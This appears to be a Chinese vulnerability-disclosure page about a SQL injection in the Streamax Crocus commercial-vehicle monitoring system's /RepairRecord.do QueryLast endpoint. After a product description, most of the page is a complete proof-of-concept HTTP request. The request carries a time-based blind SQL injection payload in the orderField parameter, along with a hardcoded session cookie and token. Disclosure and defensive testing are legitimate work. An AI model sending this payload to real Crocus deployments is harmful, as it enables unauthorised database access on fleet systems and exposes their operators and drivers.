锐明技术Crocus系统 /RepairRecord.do QueryLast SQL 注入漏洞

2026-01-23 锐明技术Crocus PoC Public

Description

锐明技术作为一家专注于AI和视频技术的商用车智能物联(AIoT)解决方案提供商,Crocus系统是其核心产品之一。Crocus系统旨在利用人工智能、高清视频、大数据和自动驾驶技术,帮助商用车减少交通事故和货物丢失,提高企业或车队的运营效率。通过车载摄像头、毫米波雷达等传感器,实现对车辆周围环境的实时感知和监控,提高驾驶安全性。利用AI技术,系统能够识别车辆和行人的身份,并分析驾驶员的驾驶行为,及时提醒驾驶员注意潜在风险。Crocus系统能够实时监控货箱状态,包括货物是否丢失、货箱是否关闭等,并通过3D检测技术实现更精准的货物识别和管理。

PoC

POST /RepairRecord.do?Action=QueryLast HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 218
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Connection: close
Cookie: Saffron.U=VUlEPTEmVU49c3RyZWFtYXgyMDAyMDgxOCZHSUQ9MTcyNDYzNjk0MjEwNC44ODQ1MTQmUklEPTEmTT1CTWFwJklOUz0x
Token: c3RyZWFtYXgyMDAyMDgxODoxNzI0NjM2OTQyMTA0Ljg4NDU=
Accept-Encoding: gzip

EndTime=2024-06-19+23%3A59%3A59&FaultType=&Field=&GroupId=&PageIndex=0&PageSize=50&RepairState=-1&StartTime=2024-06-19+00%3A00%3A00&UserName=&Value=&VehicleId=&orderField=(select*from(select%0asleep(5))a)&orderType=asc

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities